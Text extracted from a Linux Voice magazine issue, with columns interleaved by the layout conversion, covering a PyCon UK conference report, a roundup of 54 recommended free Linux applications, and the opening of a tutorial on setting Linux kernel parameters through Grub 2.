to the Raspberry Pi inspired to try teaching with Python
Foundation. in their schools and several want to
16 www.linuxvoice.com
LUGS NEWS
return to tell next year’s conference conference and with a 3-to-2 ratio in
about the fruits of their labours. favour of girls at the kids’ day.
On the Saturday of the Non-Pythonic happenings
conference, 75 children joined the included the beer at the conference
delegates for adventures in coding meal. It was brewed by Ben Croston
with Python. Under the guidance of of FuzzyDuck brewery in a process
experts they learned all about using automated by RaspberryPi and
Python to program Minecraft, Python scripts. It turns out that Ben
robots, Raspberry Pi and also plays the tuba and was joined
quadcopters (to name but a few of by Nicholas Tollervey (one of the
the activities available). Each child speakers whose talk used a brass
was given a Raspberry Pi (thanks to band) in an impromptu tuba duet of
the generous support of the the Monty Python theme tune
RaspberryPi Foundation) as part of “Liberty Bell”.
a very generous swag bag. Conference chair John Pinner
In fact every delegate (young or asked me to run the charity “Cheese
Delegates brought
old) got a T-shirt, mug and squeaky Shop” (unlike the famous Monty cheese from Norway, Epoisse and
cheese, which was
rubber “debug duck”. Apparently, Python sketch, this cheese shop Roquefort from France and various
sold to other delegates
you’re supposed to tell the duck was full of cheese donated by the and profits donated to other regional cheese from the
your programming woes and it will delegates who were encouraged to the Mynton Children’s United Kingdom were sold in aid of
silently help you discover a solution. supply cheese representative of Hospice. the Myton Children’s Hospice.
Diversity was also a hot topic their home regions). Wonderfully I hear planning has already
with more women than ever before creamy Nottinghamshire Stilton, started for next year’s event. I’ll
attending and speaking at the Oxford Blue, caramelised goat certainly be there. You should too!
www.linuxvoice.com 17
54 BEST LINUX APPS
BEST LINUX APPS
Grab a shovel and join Mike Saunders on a dig for the best free software gems.
D
ebian GNU/Linux’s software repositories magazine. We also get many recommendations from
contain a whopping 48,564 packages for you, our readers. So this issue we decided to collect
x86-64 machines. Just think about that for a together the best applications in the FOSS world and
moment: it’s a staggering figure. Not every package is share what makes them great!
a single application, sure, but the total number of You may be familiar with a few of the big-name
programs available for Linux numbers in the tens of programs, so we’ll look at what they have in the
thousands. You have a giant wealth of software that’s pipeline for upcoming releases. But for most of the
free to install, explore and modify – and all just a few next few pages we want to introduce you to software
apt-get, yum or pacman commands away. you’ve never come across before, or perhaps heard of
This is brilliant, but who has time to try all of these in passing, but never actually tried. We’ve all had the
programs? How can you easily sort the wheat from experience of discovering an awesome new program
the chaff when the range is so exhaustive? We at that we come to use on a daily basis, and wonder how
Linux Voice spend a lot of time rummaging around we managed without it beforehand. So by the end of
package repositories, source code mirrors, GitHub and this article, you’ll be ready to spruce up your Linux box
other sites, finding sparkling new gems to cover in the up with a bunch of new FOSS goodies. Let’s go…
18 www.linuxvoice.com
54 BEST LINUX APPS
POEDIT JED BLEACHBIT
Ever fancied There’s more to Deleting a program doesn’t (eg previously opened files or viewed
2
helping out with an open console text editors than necessarily remove all traces of it from URLs) or cached data – for others it
source project, but don’t Emacs vs Vim, despite your hard drive. Many programs can does more complicated work.
have the sufficient the endless flamewars leave behind logs, temporary files, For instance, in Firefox, Chrome
3
hacking nous to edit the on the web. Jed offers a cached files, and other bits ’n’ bobs that and other apps, BleachBit can shrink
source code? If you can glut of power-user you’d rather get rid of. Sometimes you configuration files without removing
speak more than one features, especially for can find these by poking around inside vital data, to improve performance
1
language, you can almost coders, including code /tmp and your home directory, but it can and save disk space. On many Linux
certainly help the folding and extensibility be a lot of hassle to do a thorough job. distributions it can remove language
program by providing via scripts. But! These BleachBit aims to free up disk space packs for languages that you don’t
interface translations. features aren’t hidden and maintain your privacy by getting use, and fix broken symbolic links. It’s
Poedit is a friendly behind various cryptic rid of this unwanted junk. It cleans up a fantastic toolbox for keeping your
graphical app that helps key combos – everything after a wide range of programs, both system clean, tidy and secure – and
you to create translations is provided via DOS open source and proprietary, and in its definitely one to recommend to those of
for software that uses EDIT-style drop-down Windows incarnation it can purge the your friends and colleagues who are still
the Gettext framework. menus. junk from a whopping 1,200 apps. For battling with Windows.
5
www.poedit.net www.jedsoft.org/jed many programs it simply erases history http://bleachbit.sourceforge.net
MUPEN64PLUS ARIA2
Fancy some The mother of all
Goldeneye 007 or download tools, Aria2
6
Mario 64 fun? Of course supports: HTTP(S), FTP,
you do! Emulation of the BitTorrent and Metalink;
Nintendo 64 console is a downloads from multiple
mixed bag on Linux, but sources for maximum
Mupen64Plus is the best speed; and remote
solution we’ve found. It control operation via
has a range of plugins for JSON-RPC and XML-
CPU and video RPC. You can use proxy
4
emulation, so you can servers, set bandwidth
pick and choose the best limits, and create custom
JOSM that work for you. HTTP headers. Basically,
We all rave about the benefits of tutorials before you really get stuck in to http://tinyurl.com/ it does it all.
open source, but open data is becoming editing map data.
dyzktf7 http://aria2.sf.net
equally important. Take OpenStreetMap for https://wiki.openstreetmap.org/wiki/
instance: it’s rather like Wikipedia in that JOSM/Guide is a great place to get started,
the data is generated by users rather than with step-by-step guides showing how to do EASYSTROKE
companies. This data is freely licensed in a basic editing jobs and upload your changes, Gesture recognition tends to get the most
similar fashion, so anyone can use, modify while http://learnosm.org/en/beginner/start- attention on tablet and mobile devices, but it can be
and share it. If you like the goals behind josm lets you play around with a sample
very handy on the desktop as well. With Easystroke,
OpenStreetMap but the data for your area map. Don’t worry if you make a mistake with
is incomplete or incorrect, what can you a real map and upload the data – it’s not you can create custom gestures and assign them to
do? Well, JOSM is a graphical editor for the hard for administrators to roll back to the X11 keybindings or shell commands.
8
OpenStreetMap data, and it’s written in Java previous version. So, you could right-click and swipe rightwards
so it runs pretty much everywhere. OpenStreetMap embodies the principles anywhere on your desktop to open a new terminal
JOSM isn’t designed to be the most of collaboration and sharing that we love in
window, or add specific gestures to your favourite
newbie-friendly tool in the world, so you’re Linux, FOSS and the GPL, so give it a go.
expected to work your way through a few http://josm.openstreetmap.de applications (eg swipe upwards to go to the start of a
document). It’s also possible to add modifier keys to
7
gestures, so that they don’t interfere with your apps.
SYLPHEED http://github.com/thjaeger/easystroke
Mail clients are ten a penny in Sylpheed supports POP3, IMAP4
the free software world, but few are as and SMTP out of the box, and can be
slick as Sylpheed. It’s written in C with a extended with junk mail filtering and
GTK front-end, and aims to provide GnuPG signing functionality. We’ve used
most of the functionality that end users Sylpheed on and off over the years,
expect, without chomping through your and found it to be a solid app, and a
RAM banks. The three-pane interface lightning fast performer when it comes
(folder list, message list and message to searching through large mailboxes. If
contents) is familiar and clean, while you’re tired of the bloat and fiddliness of
plenty of keybindings obviate the need your current mail client, give it a try,
to keep faffing around with the mouse. http://sylpheed.sraoss.jp/en
www.linuxvoice.com 19
54 BEST LINUX APPS
WIRESHARK KDEVELOP
Formerly known Many people think
9
as Ethereal, Wireshark is that KDevelop is only
arguably the best packet useful if you’re writing
analyser available on any KDE apps in C++, but this
platform. It lets you integrated development
inspect the contents of environment is a lot more
network packets as they capable than that. It
flow through your supports many other
network, whether it’s for languages including
troubleshooting or you’re Python, PHP, Ruby and
just curious to see how a JavaScript, along with
10
certain program is various document
communicating with the markup formats.
outside world. It can be a KDevelop 4.7 has just
complex tool though – been released – it’s the
there’s even a 408-page last of the 4.x line, so it
book available explaining will have longer support
how to use it! than regular versions.
www.wireshark.org www.kdevelop.org
Midori’s default search engine is DuckDuckGo, which doesn’t track you.
11
MIDORI
Remember when Firefox split off supports tabbed browsing, session
from the Mozilla project, with the goal of management, extensions, a “speed
being a fast and lightweight browser? dial” view, smart bookmarks and much
It’s still a good performer today, but more. Midori uses WebKit as its HTML
many have questioned its purpose now rendering engine, so it’s well equipped
that it seemingly rolls in everything to handle the latest HTML5 and CSS.
including the kitchen sink. You might have come across Midori
Midori could be regarded as the before, as it’s the default browser in
new Firefox: it’s deliberately designed Raspbian and Elementary OS; we’d KDevelop is best known as a C++ and Qt IDE, but it’s
to be speedy and conservative with also like to see it adopted in other usable with other languages too.
RAM, while still offering core features mainstream distros.
13
that users expect. For instance, it www.midori-browser.org
TOX
BIRDFONT DOSBOX While the Snowden is implemented as a
We must admit: Fancy playing some old DOS classics? Shudder revelations have made library, and then end-user
many of us consider programs are built on
despite being übergeeks, at the thought of fiddling with CONFIG.SYS and
12
alternative email services, top of that. So for Linux
until a few months ago AUTOEXEC.BAT for hours? DOSBox makes it easy: it’s instant messaging (IM) you’ll see that there are
we had never ventured a DOS session in a box (ie window) on your desktop. systems are also being qTox and Toxic programs
14
into the scary territory of Compatibility is excellent, and most programs run spied on by the powers that (GUI and command line
font creation. It looked without any big hassles. We use it a lot to relive the be. Tox is a “new kind” of respectively). Clients for
IM network designed with Android are also available.
like black magic. Then glory days of Microprose F1GP and Frontier.
privacy as its number one Tox is still a baby, having
we discovered BirdFont, a www.dosbox.com priority. It aims to offer only come to life 18 months
friendly graphical editor text-based messaging, ago on notorious lulz-fest
that not only makes the audio calls and video site 4chan, so its security
job simpler than conferencing, all neatly has yet to be proven over
encrypted away from any serious length of time.
expected, but fun as well
prying eyes. But its goals are admirable,
(especially when you’re If you go to the Tox the separation of the app
tracing another font). It’s website, though, you’ll into a library and front-ends
essentially a vector notice that there’s not a should ease development,
graphics editor with single “Tox” program to and it could grow into
download. What’s going something very big.
some extra bits – see
on? Well, the system https://tox.im
LV004 for a tutorial.
www.birdfont.org
20 www.linuxvoice.com
54 BEST LINUX APPS
17
STELLARIUM
16
I3WM Stellarium is one of those and thrown onto SourceForge. But no REDSHIFT
Traditional programs with a version number that – we think it already deserves a 10.0 Here’s a clever
desktops and window doesn’t reflect just how awesome and label, and it’s one of our favourite non- one: Redshift adjusts the
managers don’t always
make the best use of
rich it actually is. Check it out: this Frontier space-based programs. (You colour temperature of
screen space, especially desktop planetarium includes over might notice a pattern here…) your screen depending
when you have a huge 600,000 stars (with 120 million more www.stellarium.org on the time of day. The
15
monitor. i3 is a tiling available in add-on packs), all the idea is to make your
window manager that planets of our solar system (rendered in screen easier on your
automatically divides up
your screen space into
beautiful detail), and constellations eyes, especially in the
sections (tiles), so you galore. It has won awards, it’s being evening when you don’t
can see many apps at used in commercial products, and have sources of natural
the same time. Plenty of hardcore astronomers love it too. light around.
keybindings are included So what’s it’s version number? 0.13. Linux Voice Editor
so you don’t have to
poke the mouse all the
That’s right: if you just came across Graham uses this all the
time, and it’s a favourite this program in a list (eg in your time, and says that it has
among coders and package manager), you’d be forgiven really helped to reduce
terminal dwellers. for dismissing it as yet another barely- eye strain during epic Qt
www.i3wm.org alpha piece of throwawayware cooked coding sessions…
Track celestial bodies as they move across
up by a couple of kids on a weekend the night sky in Stellarium. http://jonls.dk/redshift
MINETEST HTOP QALCULATE
Now that You’re probably We discovered
18
Minecraft is owned already familiar Qalculate over two years
by Microsoft, many fans with the top process ago: it’s an immensely
are left wondering viewer (or if not, open a powerful desktop
whether the game (or terminal window, enter calculator with custom
shall we say, giant top, and see what functions, a huge range
20
sandboxed environment) happens). It’s a very of units to convert
will continue to work on standard Linux/Unix tool, between, arbitrary
Linux. What if Microsoft but it’s not the prettiest precision and much
releases Minecraft 2 just thing around and is more. It even has both Qt
for Windows and/or the missing plenty of extra and GTK interfaces. Just
Xbox? Fortunately, we features. Htop provides don’t be put off by the
have an open source everything in regular top, program’s My Little
19
clone that’s still in but with colour, bar Pony-esque website!
mid-development, but charts for memory http://qalculate.sf.net
looking promising. usage, process trees, a
21
Minetest already user-friendy interactive
includes multiplayer mode, and more. It’s an VLC
support and a modding essential weapon in any We don’t want to
engine, with more system administrator’s CHECKINSTALL start a flame war here,
goodies to come. armoury, we reckon. You know when you’re compiling a program as we know there are
many other excellent
22
www.minetest.net http://hisham.hm/htop/ from source code, and you perform the make install
media players for
step? This copies the files into your Linux installation Linux, but VLC is still
(for example into /usr/local) but it can be tricky to our favourite. Over the
keep track of them, especially when you want to years it has never let us
remove a program. Some programs include a make down, playing absolutely
everything we throw at it,
uninstall option in the Makefile, but not necessarily
regardless of the video
every one. And if you remove the source code encoding or container
directory, you’re stuck. format. It’s also very
CheckInstall is a godsend here. Essentially, it keeps good at converting
tabs on the files that are placed into the system during media from one format
to another, providing a
a make install operation, generating an RPM or Deb
straightforward GUI (so
package for the files (and adding the information to you don’t have to learn a
the package database). So if you’ve installed FooApp giant stack of command
from source via CheckInstall and want to remove it, line options). Plus, it
you don’t need to poke around in /usr/local and find runs on pretty much
every major OS.
Explore giant worlds and build colossal constructions in all its files – just use your package manager.
www.videolan.org
the Minecraft playalike, Minetest. http://asic-linux.com.mx/~izto/checkinstall
www.linuxvoice.com 21
54 BEST LINUX APPS
COREBIRD PITIVI PENTADACTYL
26
Many people use Some would We often mention
Twitter via its web-based argue that OpenShot is the importance of
interface, which does an the best video editor for learning a good text
acceptable job, but a Linux, but Pitivi has seen editor, and Vim is a
native desktop app like a surge in development classic example. With
23 24
Corebird is much better. activity recently, thanks Pentadactyl, you can use
It’s faster, can be used largely to a fundraising Vim-like keybindings to
entirely with the campaign that aims to browse the web, so you
keyboard, and looks speed up progress don’t have to take your
great on a GTK-based towards version 1.0. The hands off the keyboard.
desktop such as Xfce or development team has It’s a Firefox extension
Gnome. Thanks to concocted a hugely that many Vim users
GStreamer integration, detailed plan (http:// simply can’t live without
Corebird can even play fundraiser.pitivi.org/ – try it if you’re sick of
linked media directly the-plan) and has raised shoving around that
25
inside the app, without over €19,000 from users damn rodent!
needing to pop up and supporters. After the http://5digits.org/
another program. Not all 1.0 release, if more pentadactyl
distro repositories have it money comes in, a stack UBERWRITER
packaged up though... of new features will be “A beautiful, distraction-free word processor
http://corebird. implemented. and editor” – that’s what UberWriter claims to be. And
baedert.org www.pitivi.org it’s right: the interface is as minimal as you get, and FIREFOX
Everyone knows
there are no options for formatting, adding 3D text, or
about Firefox, but what’s
anything else like that. By and large, it just looks like an to come in the next few
extremely simple text editor, or even a sample app releases? Soon we’ll
from a programming tutorial. see support for the
What makes UberWriter special is its use of <picture> tag, which
lets developers provide
Markdown. This is a plain text syntax that’s designed
multiple image sources
to be easy to write (as well as read), so can create
27
(eg for HiDPI displays).
bold text, headers and lists without forcing you to CSS3 font variants
learn weird tags or commands. Markdown only takes and features – such
a few minutes to learn and once you’ve grasped it, as kerning – are also
on the way, along with
UberWriter lets you use it to full effect. The program
JavaScript template
calls upon the Pandoc converter to generate other strings. Firefox releases
formats from your Markdown text, such as HTML, come thick and fast – we
OpenDocument, Latex, ePub, Word .docx and even won’t have to wait long.
Markdown formatting only takes a few minutes to learn, manual pages. www.mozilla.org/firefox
and works entirely with plain text. http://uberwriter.wolfvollprecht.de
28 29
CLEMENTINE KEEPASSX
First Passwords are a problem. Even All of your login details are then ABIWORD
appearances count, and if you come up with the ultimate, long, stored in a single AES or Twofish- We’re not ones to
Clementine is one of the hard-to-guess password, it’s a bad idea encrypted file, with a master password tell part-time developers
most polished pieces to use the same one across multiple providing access. It’s an essential tool if what to do, but AbiWord
of FOSS we know. It’s
sites and services. And then, every so you’re suffering password fatigue. team: please, please
30
a music player inspired
by the interface of an often there’s a major break-in on some www.keepassx.org update your website!
older Amarok release, website or other, and we’re all AbiWord is an excellent,
with heaps of features encouraged to make new passwords. fast and lightweight word
piled on top. It can play KeePassX is a graphical password processor, and version
internet radio stations
manager that aims to simplify the 3.0 was released with
and music stored on
cloud services (eg situation, by keeping track of all your zero fanfare a year ago.
Dropbox and Google login details in one place. Along with But the website still says
Drive). It can fetch lyrics, usernames and passwords, you can that 2.8 is the latest
album art and other data also attach comments to the data, version – so the dev
from the web (and tag
and set an expiry date (so that you’re team should highlight
files accordingly). And it
can even transcode into forced to create a new password after that the program hasn’t
other formats. It’s ace. a certain period of time). It’s even faded into obscurity, and
clementine-player.org possible to attach standalone files to an Having trouble memorising a zillion it’s still doing well…
entry in the database. different passwords? This will help. www.abisource.com
22 www.linuxvoice.com
54 BEST LINUX APPS
32 33
RADIO TRAY PIDGIN
This isn’t a You may have SYNAPSE
Many desktop environments and can also take into account your recent
full-blown music player; come across Pidgin
window managers have tried to do away with activity, such as where you’ve been on the
instead, it’s a small before (it’s included as the decades-old “start menu” concept, with web, which files you’ve had open, and what’s
31
internet radio streamer standard in many varying degrees of success. Synapse is a inside those files. It can keep track of emails,
that lives in the distros), but if not: it’s the souped-up program launcher that also has instant messaging conversations, scripts
notification area (system mother of all instant a modern twist on things: it’s a “semantic you’ve been editing, and all sorts of data.
tray) of your desktop. It messaging programs. It launcher”, which means it does more with So, if you want to quickly find an email
your input than just execute whatever conversation, you can try typing a few
uses GStreamer libraries suports an astonishing commands you type in. relevant words into Synapse and it should
to support various media range of chat protocols, For instance, it’s aware of other programs come up. Or if you remember editing a file
formats, and can work including all the major on your Linux installation, so you can use it called myscript.sh a few days ago, but can’t
with a variety of playlists ones (eg Google Talk, to play music in specific programs, or even remember exactly where it is, try typing it
(PLS, M3U, ASX, WAX Yahoo etc) along with operate a music app by typing in commands. into the Synapse search box. It’s not always
You can use Synapse to perform dictionary perfect, but it provides a useful alternative
and WVX). It’s ideal if you many you’ve probably lookups, execute power management to the typical approaches to finding data (eg
like listening to net radio, never heard of. You can operations (eg suspend or hibernate), and hunting around inside a file manager) and
and want stations just a even use it as an IRC even shut down your machine. The idea is many people absolutely love it.
couple of clicks away. client. that you can do pretty much everything in Also, the program can be enhanced with
http://radiotray.sf.net www.pidgin.im one place: launching programs, opening files, various addons. For instance, with the
34
and performing typical desktop tasks. Calculator plugin you can even perform
Now, Synapse is especially clever in that calculations inside Synapse, without having
ZATHURA it doesn’t just work on filenames alone. By to launch an external tool.
Document viewers are hardly the most exciting utilising the Zeitgeist back-end, Synapse http://synapse.zeitgeist-project.com
things in the world of software, but Zathura is one of
our favourite discoveries in recent years. Thanks to a
plugin system, it’s capable of displaying various TORCS
35
formats including PDF, PostScript, DjVu and even The Open Racing Car Simulator is you busy for weeks. One of its coolest
comic books (CBR files). far more than just a game: it’s a features is the TORCS Racing Board,
Its interface is rather minimal, with just a status complete framework for learning about where you compete against other
bar along the bottom, because it’s designed to be motor vehicles, physics and artificial drivers. But! You don’t compete directly;
operated primarily with the keyboard. So it has a intelligence. Indeed, TORCS has been instead, you hack some code to create
slightly steeper learning curve than graphical apps, used in many scientific research a robot that drives by itself. It might
but it’s a joy to use. Plus, it supports bookmarking projects over the years – but in the end, seem ridiculously hard at first, but there
of pages, and automatically reloading when a we still play it because it’s fun. are plenty of tutorials to get you started,
document changes (which is especially useful if you’re With a huge range of tracks, and it adds a whole other dimension to
generating PDFs yourself). opponents and customisation options, the gameplay.
http://pwmt.org/projects/zathura this racing game has plenty to keep http://torcs.sf.net
ANKI LIBREOFFICE
If you’ve ever tried We won’t see the
to learn a foreign next major release of this
36
language, or been in a suite (4.4) until late
similar position where January next year, but
you’ve needed to already new features are
memorise lots of things, starting to be
you’ll probably have tried implemented. Writer will
using flashcards. They gain support for master
can help enormously, but document templates
they’re often a pain to (useful if you regularly
organise by hand. Anki is work on large projects),
a desktop flashcard app while shapes in the word
37
that features the spaced processor can have text
repetition method – in boxes inside. Context
other words, newer (and menus have also been
therefore less familiar) redesigned so that the
cards are shown more most common
often than the older ones, operations (cut, copy and
so you focus on new paste) now appear at the
material but still get top of the list. This is just
reminders of things you the start – many other
learned a while ago. features are still to come.
Zathura’s interface doesn’t have lots of bells and whistles – it focuses on content. www.ankisrs.net www.libreoffice.org
www.linuxvoice.com 23
54 BEST LINUX APPS
40
SCRIBUS
39
HANDBRAKE Without question, Scribus is the At Linux Voice we have a long-term DELUGE
A few pages leading desktop publishing tool for goal of making the entire magazine Deluge is up there
ago we mentioned that Linux and other free software OSes. in Scribus; it’s a complex job, but the with Transmission in the
the VLC media player
is great for converting
This Qt-based app is impressively tweaks and new features in 1.5 should front row of BitTorrent
video between different featureful, with import filters for a wide make it easier to switch eventually. clients. The program is
formats, but HandBrake range of image formats (PostScript, www.scribus.net modular, so you can use
38
is even better at this SVG, Adobe Illustrator etc) and the it via GTK, CLI or
task. You can customise ability to export to industry standard web-based interfaces,
the output settings to a
tremendously detailed
PDF/X files. Scribus 1.4 was four years and it’s loaded with
level, or if you don’t in the making – but we’re especially features including global
have time to fiddle with excited about the upcoming 1.5 release. and per-torrent speed
everything manually, This will bring about a shedload of limits, protocol
you can choose presets improvements including ePub export, encryption, and µTorrent
for various devices (eg
Android smartphones)
a tabbed document view, interface peer exchange support.
as well. It’s a superb app improvements (including a redesigned But that’s just the start:
for ripping your DVDs to Preferences dialog), and new import over 40 third-party
digital copies too. filters (CVG, WPG, PGF, MS Visio and plugins are available to
43
https://handbrake.fr more.) A new plugin for scripting extend the app as well.
facilities has been rolled in too. www.deluge-torrent.org
SEAMONKEY
LLVM/CLANG FREECIV If you don’t like the
GCC has been the With nearly 20 direction Firefox has
41
dominant compiler in years of development taken in recent releases,
FOSS operating systems history behind it, Freeciv or you prefer a more
for decades, but times is one of the best games traditional internet suite
are changing, and there’s bar none, let alone in the with the browser, mail
a (relatively) new kid on FOSS world. It’s a single and chat all rolled into
the block in the form of and multi-player one app, try SeaMonkey.
LLVM/Clang. This is a C/ turn-based strategy It’s from the good people
C++/Objective C game, heavily inspired by at Mozilla, but is more
compiler toolset with a Sid Meier’s classic conservative than Firefox
much more permissive Civilization. You guide a in its GUI and pace of
BSD licence. tribe of people from development.
Some would argue 4,000BC through newer www.seamonkey-
42
that GCC, because of the eras, constructing cities project.org
GPL, is still the way to go, as technologies emerge,
45
but at least LLVM/Clang and fighting battles (or
is providing competition forging friendships) with MUTT
Guess what:
and new features. GCC other groups. It’s big,
Mutt sucks. Even the
still has the edge in many deep and keeps you SYSTEMD developer admits it. But
benchmarks though. hooked for days. Yes, we know that a lot of people don’t like Mutt “sucks less” than
46
http://clang.llvm.org www.freeciv.org systemd. There are still things about it that make us other email clients, and
furrow our brows too – the binary logging format, the we’d have to agree. Like
many other text-based
GNUCASH “everything including the kitchen sink” approach, and
programs, it has a fairly
Designed for both home users and small other aspects of the design. But systemd is becoming steep learning curve, but
businesses, GnuCash is the best all round free the de facto standard initialisation and base system the end results are great.
software financial accounting app, in our experience. for almost every major Linux distribution, so we Mutt is entirely
44
It has been in development for over 15 years – and is should consider some of its plus points too. keyboard driven and
supports POP3, IMAP,
still seeing regular updates today. First, it helps to remove some niggling (and
message threading,
GnuCash supports double-entry bookkeeping, arguably pointless) differences between distros. searching with regular
scheduled transactions, stock/bond/mutual fund You can still log to text via syslog, but also perform expressions, various
accounts, custom reports and graphs, and various complex searches (eg “show warnings from program mailbox formats,
small business features (eg customer and vendor Foo in the last X boots”) without having to construct and much more.
You can even record
tracking, invoicing and so forth). GnuCash stores a load of grep commands. It’s easier to restrict a
macros (sequences of
its data in XML format, although experimental SQL daemon’s capabilities, and boot times are often faster keypresses) to automate
options are also available. The program can import as well. It’s not perfect and arguably overcomplex, but oft-repeated jobs.
data in QIF (Quicken) and OFX formats too. it does a lot of things that people really want. www.mutt.org
www.gnucash.org www.freedesktop.org/wiki/Software/systemd
24 www.linuxvoice.com
47
54 BEST LINUX APPS
0
CALIBRE BLUEFISH
If you’re into If you do a lot of
eBooks, you absolutely website development
cannot miss this. work, you’d be wise to
Calibre (as reviewed by give Bluefish a try. This is
Ben last issue) doesn’t pretty much a one-stop-
have the prettiest shop for text editing, with
48
interface in the world, but support for (X)HTML,
it understands a CSS, XML, PHP, Perl,
ridiculously large range Python, Ruby, JavaScript
of eBook and document and many other
formats (23 as of the languages. It lets you
latest release) and it organise files into
can convert to 17 projects, has unlimited
formats as well. It’s undo/redo, and (via
excellent for managing GVFS) has heaps of ways
your library of books for you to upload your
and also syncing them work onto the web.
to your e-reader devices. http://bluefish.
51
www.calibre-ebook.com openoffice.nl
Baobab provides a quick graphical guide to how you’re squandering your disk space.
GIMP
SHUTTER BAOBAB Gimp is one of models. GEGL will also
There are a million and one ways to take Running out of the oldest flagship free provide non-destructive
49
software applications, editing on image buffers
screenshots on Linux; chances are that your desktop disk space? Can’t tell
and in recent years it has that are larger than RAM.
environment pops up something when you hit the which application or appeared as if development A GTK 3 port is planned
PrntScr button on your keyboard, or you just use directory is hogging too is stagnating. But the team for Gimp 2.10, bringing it
Gimp. Those tools are OK for the purpose, but a much of your drive? is working on Gimp 2.10, in line with Gnome 3 and
dedicated app like Shutter (which formerly had the Baobab is a graphical which will bring a bunch of many other desktop apps;
new features to the table. this should also make
dreadful name “GScrot”) does a much better job. disk usage analyser
First off, the long- it work better on HiDPI
Along with capturing the entire screen or a specific which shows pie charts awaited GEGL integration displays. We may even
50
portion thereof, Shutter can grab a single window – depicting the layout of will be finally complete see a script recording and
or even just a menu or tooltip. Once you have what your drive. It helps you to (having started in Gimp playback system too – but
you want, you can then perform various editing jobs, identify the largest 2.6), which will boost only time (and developer
support for high bit-depth willingness) will tell.
cropping the image, adding arrows and text, and even directories in root (/), and
images and other colour www.gimp.org
blurring out bits of sensitive information that you don’t their subdirectories.
want the world to see (eg an IP address). www.marzocca.net/
53
www.shutter-project.org linux/baobab
MAILVELOPE
54
HIGHLIGHT NETHACK After the Snowden revelations last year, you
If you’ve been The best game ever made? NetHack may look might be taking extra steps to keep your personal
52
beavering away on some pants, but it’s brain-frazzingly deep, complex and full communications safe from the prying eyes of
code and want to share it of surprises. No two games are ever the same in this governments and big businesses. But if you use a
with the world, Highlight dungeon-exploring romp, and people play it for years Webmail service, it’s not easy to encrypt your data –
can turn it into colourful (and even decades) before finally completing it. You not without a lot of hard work, at least.
and pretty HTML, (La) need to invest a lot of time into it, but the rewards are Mailvelope is a browser extension for Firefox and
Tex, ODT and other worth it – see issue 5’s feature for the full lowdown. Chrome/Chromium that adds an extra button to the
formats with a single www.nethack.org compose forms in webmail services such as Google
command. It supports a Mail. After a few minutes of setting it up and creating
whopping 180 a public/private key combination, you can then begin
programming languages, writing encrypted emails while still using your regular
and includes 80 different service. (Along with Gmail, it also works with Outlook.
colour schemes to com, Yahoo Mail, GMX and other providers.)
match your website. It’s There are several browser plugins that do the
easy enough to use via same job, but Mailvelope is by far the simplest we’ve
the command line, but come across, with an excellent user guide, putting
there’s also a version for OpenPGP in the hands of everyone, regardless of
users who prefer the GUI. technical level.
www.andre-simon.de www.mailvelope.com
www.linuxvoice.com 25
LINUX KERNEL PARAMETERS
LINUX KERNEL
PARAMETERS
Dip your toe into the mysterious heart of your
Linux machine, with Andrew Conway and the
magic of Linux kernel parameters.
T
he dark days when new computer hardware should test it using a venerable utility called
often required compiling your own kernel memtest86+. Many distros include it as an option at
are now firmly in Linux’s past (though those the boot prompt, or you can put a distro such as
were fun days). But the fact that Linux – meaning GPartedLive on a USB stick and select the
the kernel itself – is free software means that you can memtest86+ option. The test will tell you if you’ve got
still delve deep into its innards and tweak it to your bad memory and exactly where it is bad. In our case,
heart’s content. the bad patch was reported as 2056.0MB to
In an ideal world, the user would never need to think 2176.0MB. The solution was to restart the laptop, and
about the kernel, but there are cases where it’s useful. when the bootloader began, switch to its command
In fact, it becomes a line and set the
necessity when memmap kernel
hardware is faulty, “In an ideal world the user would parameter with
such as with bad never need to think about the memmap=256M$2048M
memory, or if it is This instructs the
shipped with buggy kernel, but sometimes we have to.” kernel not to use the
firmware that tells lies 256MB of memory
about capabilities such as CPU speed or temperature. from 2048MB, and once booted with this parameter
In these cases, you’ll need more control over the setting, the laptop became completely stable. The
hardware than userspace software allows, and setting only noticable difference was that it had 256MB less
kernel parameters lets you do that without the hassle memory than before. Given that it had 8GB of
of compiling a kernel. memory in the first place, this loss isn’t too much of a
Let’s start with an example we encountered when problem and saves on the cost and hassle of having it
bad memory came to plague a shiny new laptop. fixed if outside the warranty period.
Sometimes it’s not possible to replace the memory
(for example, the SOC in a Raspberry Pi), and for some The arcane lore of the kernel
the expense of buying replacement hardware may be The memmap fix is straightforward enough once you
prohibitive – think of folk using old hardware in understand it, but first you have to know that such a
developing countries. parameter exists and what its cryptic syntax means.
If you’re experiencing the symptoms of bad For example, you can replace $ with & or # and it’ll
memory – random freezes and crashes – then you work completely differently, and if you don’t respect
DISCLAIMER
The examples we’ve picked are unlikely to cause trouble, but altering kernel parameters can cause crashes and data loss.
Tread lightly and experiment in a VM or a non-production system.
26 www.linuxvoice.com
LINUX KERNEL PARAMETERS
memory boundaries it won’t work at all. The aim of
this article is to explore kernel parameters in case you Graphical kernel configuration
have to use them in real situations involving faulty
If you’re uncomfortable on the command consult the documentation for your distro.
hardware or custom hobby projects. line and just want to learn more about the Then open a terminal window and cd to the
To set kernel parameters at boot time you need kernel, there is a powerful yet simple GUI top level directory of the kernel source (often
to get to know your bootloader. You can either set application that lets you explore the kernel /usr/src/linux, but it’s recommended to
kernel parameters manually each time or edit the and its configuration. To use it, you first need copy the whole directory tree to somewhere
to download the kernel source from kernel. under your home directory). Now type make
bootloader’s configuration file so that it gets set
org, or you can use apt-get on Ubuntu or xconfig and the window shown will appear
automatically on every boot. We’ll concentrate on the yum on RPM distributions to grab it and – you can then lose yourself in the graphical
most popular bootloader Grub 2, but the parameters associated tools – details vary, so best tree of kernel parameter goodness.
themselves will be the same for any bootloader such
as Lilo or SysLinux.
To boot
You need to pay close attention at startup. If you see a
text screen with ‘GNU GRUB’ at the top, then just
press E before the timeout ends and booting begins. If
you don’t see the Grub screen, and by default you
won’t with a normal Ubuntu install, you’ll need to press
the Shift key to enter the Grub menu. This didn’t work
for us when booting Ubuntu 14.04 in a VirtualBox VM
due to a problem with the VM capturing the keyboard,
so if you experience it too, or you wish to boot to the
Grub screen everytime instead of frantically jabbing at
the Shift key, let it boot up into the OS, open a terminal
window and edit the configuration file:
sudo nano /etc/default/grub
and put a # at the start of the line with GRUB_
HIDDEN_TIMEOUT=0 to comment it out. Then save Xconfig uses the Qt toolkit to give a graphical overview of your Linux kernel.
the file and tell Grub to update with:
sudo update-grub
This causes Grub to rewrite its files on the disk. that contains the root filesystem; in this case it’s
These are essential for booting your computer, so be specified by a UUID. It’s still common to see
vigilant for errors or warnings, and if you do get any, something like root=/dev/sda2, which means the
